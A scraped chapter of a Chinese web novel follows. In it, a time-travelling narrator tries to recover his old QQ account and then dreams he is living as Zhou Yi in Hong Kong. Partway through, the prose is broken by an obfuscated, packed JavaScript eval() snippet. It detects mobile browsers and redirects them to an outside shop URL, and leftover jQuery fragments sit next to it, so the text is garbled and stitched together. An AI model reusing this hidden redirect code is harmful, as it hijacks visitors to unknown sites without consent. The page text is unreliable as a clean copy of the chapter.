文趣网 > 其他小说 > 我与周颐 > 12. 维多利亚港
    虽然没能成功联系上林山,但那通电话却让我看到了一丝希望。

    要想联系他,并非只有打电话这一个途径。

    微信需要手机验证才能登录在电脑上,可我还记得自己的QQ号和密码。于是在某个夜晚,我第三次偷偷打开了周颐的电脑。

    我生怕周颐发现,于是连书房的灯都没有开。我坐在黑暗中,电脑屏幕的光线把我的脸照得惨白,如果周颐现在推门进来,恐怕会被吓得病情加重。

    我轻车熟路地输入了账号和密码,可当我按下登录按钮的瞬间,屏幕上却突然出现了一个弹窗,提示号码不存在。

    难不成是太久没人登录,号被回收了?

    我又想起了那个27岁的解思明——这九年他竟然从来都没登过QQ吗!?难道上了大学,大家就集体转战微信了?

    我不可置信地反复点着登录按钮,然后看着弹窗一次一次地出现在屏幕上。几次之后,我便接受了现实,然后点了账号申诉。

    我写了很长一串的申诉理由,然后又填了不少的个人信息,随后垂头丧气地回了房间。

    这是自打偷用电脑以来,我第一次这么早“下班”。

    明明已经是凌晨两点了,可我却躺在床上翻来覆去,一点睡意也无。

    我穿越的意义到底是什么呢?

    我联系不上任何人,也没办法让周颐和27岁的我复合,难道我穿越只是为了每日围着周颐打转,然后亲眼见证九年后的我和她分道扬镳?

    老天啊,求求你给我点提示吧。

    我望着天花板,不住地叹气。就在这时,一阵微弱的音乐声传进了我的耳朵里。这音乐声是从周颐的房间传来的,听着很熟悉,好像是《岁月如歌》。

    虽然凌晨两点放歌这件事很诡异,但我身边诡异的事太多了,眼前这件反倒显得不值一提。

    我又叹了口气,翻了个身,突然觉得眼皮有些沉重。没过多久,便在这若有若无的歌声中睡着了。

    我做了一个梦。

    在梦中,我的耳边也回荡着《岁月如歌》,我站在维港,眼前是翡翠一样的海水,身旁是咸湿的海风。在如此唯美的BGM中,在如此浪漫的环境下,我感受到有人轻轻拍了拍我的肩膀。

    按照剧情发展,站在我身后的应该是周颐。

    我深吸一口气,缓缓转身,然后就看到了林山那张大脸。

    比起我这个五大三粗的好兄弟林山,说实话,我宁愿梦到维港边金光闪闪的麦兜。

    林山的表情很是纠结,眼中藏着说不清道不明的悲伤情绪,看得我一阵恶寒,刚想让他滚远点,却发现我没办法控制自己,也操纵不了自己的肢体——现在的我,仿佛寄生在某个躯体中的幽魂。

    林山叹了口气,对我说:“我这次来香港是为了参加一个会……除此之外,也是想替他看看你。”

    “过去的事都过去了,你就别再想了。”他说。

    我看着林山苦大仇深的脸,在心中吐槽:哥们,九年过去,你怎么这么胖了,主页上的照片果然是高P。可下一秒,我开口了,从我的身体里发出了周颐的声音。

    “我知道。”我说。

    梦中的我,或者说是梦中的周颐转开了目光:“好不容易聚一聚,别说这个了。”

    林山叹了口气:“也是。”

    “话说回来,你今年七月份就博士毕业了吧?”

    我没说话,只是点了点头。

    “工作有着落了吗?”林山问。

    “已经在重庆找好教职了。”我说。

    “还是要去重庆啊。”林山笑着摇了摇头:“我听周阿姨说,你只联系了重庆的学校,其他地方都不考虑吗?”

    梦中的我没有回答,只是再次点了点头。在这之后,我和林山又进行了一系列毫无营养的谈话,无非是香港哪家小店只能用现金和八达通,哪家冰室的菠萝油好吃。

    林山说话一向啰嗦,自打与他认识那天起,我就觉得跟他沟通很是费劲。他是那种你问“是还是不是”,他思考半天后,会回个“嗯”的那种人。看着他在眼前絮絮叨叨的样子,我更加确定了我对他的评价简直是无比的准确。

    哪怕是坐东铁线时误入头等舱这种小事,他也已经反反复复说了三遍了。

    在他说话时,我在他的眼中看到了周颐,那是一个模模糊糊的人影,甚至还没有我截下来的那张照片清晰。

    我听不懂林山说的话,他问周颐是不是要博士毕业了,可在27岁解思明的记忆里,周颐明明在本科毕业后就去了重庆工作。

    我的思绪彻底混乱——读博的那个人,应该是我才对。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837975|211529||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    而且,周颐为什么会和林山在香港碰面?在27岁解思明的记忆中,周颐应该只在大四那年去过一次香港。

    我看着喋喋不休的林山,脑袋阵阵发昏。这一刻我突然意识到,我得到的那些记忆,也许并不是真正的记忆,它们像是被人为篡改过、精心拼凑的假象,与现实中的许多细节都对不上。

    可我眼前的一切都是梦境,梦中的事,也未必是真的。

    耳畔的《岁月如歌》还在循环播放着,这让我越发的不安。我迫切地想离开这里,我想摆脱这场梦境,然后睁开眼睛回到那张小床上。

    似乎是我的愿望太过强烈,我竟然用周颐的身体发出了声音:“林山,我……”

    “我不是……我不是周颐!”

    我喘着粗气朝他喊道:“我是解思明!我是解思明啊!”

    听到这话,不知为何林山的眼中染上一丝怜悯,他十分耐心地点了点头,像对待一个病人一般小心翼翼:“好好好,你是解思明。”

    我来不及探究他眼中的怜悯从何而来,我只是不断重复着“我要离开”这四个字。听到声音,来来往往的行人纷纷停下脚步看向我。见我不受控制,林山便抓住我的胳膊,问道:“周颐,你先冷静一下——你带药了吗?”

    随后,他一把抢过我的包,在里面翻找着什么。他从我的包里掏出一盒药,然后打开包装取出一片药片,不由分说地塞进我的嘴里。

    苦涩瞬间充斥着整个口腔,我努力想把它吐出来,可碎掉的药片却还是被我一点点吞了进去。紧接着,林山不知道从哪里掏出一瓶矿泉水塞到我手中,让我喝水顺一顺。

    恍惚间,我看到药盒上写了“奥氮平口崩片”几个字。

    围观的人群越聚越多,林山挡在我身前,似乎在向他们不断地解释着什么,而我的眼前天旋地转,心跳越来越快,随后便失去了知觉。

    再次睁眼时,我已经躺回了卧室的床上。我看了一眼墙上的钟,现在已经到了早上六点整。

    身上的衣服早已被冷汗浸透,我撑着身子坐了起来,大口大口喘息着。我的口中似乎还残留着药片的苦味,这味道让我止不住地干呕。

    梦中的眩晕感迟迟没有散去,我的眼前依旧天旋地转。又过了一会,我终于忍不住,踉跄着冲到厕所吐了出来。